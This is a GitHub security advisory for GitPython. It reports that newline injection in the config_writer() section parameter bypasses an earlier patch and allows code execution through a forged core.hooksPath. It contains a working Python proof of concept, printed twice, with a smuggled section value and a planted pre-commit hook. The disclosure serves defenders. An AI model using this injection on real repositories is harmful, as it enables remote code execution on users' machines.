GHSA-MV93-W799-CJ2W
Vulnerability from github – Published: 2026-05-08 23:19 – Updated: 2026-05-08 23:19Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.49"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.50"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T23:19:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "GHSA-mv93-w799-cj2w",
"modified": "2026-05-08T23:19:02Z",
"published": "2026-05-08T23:19:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.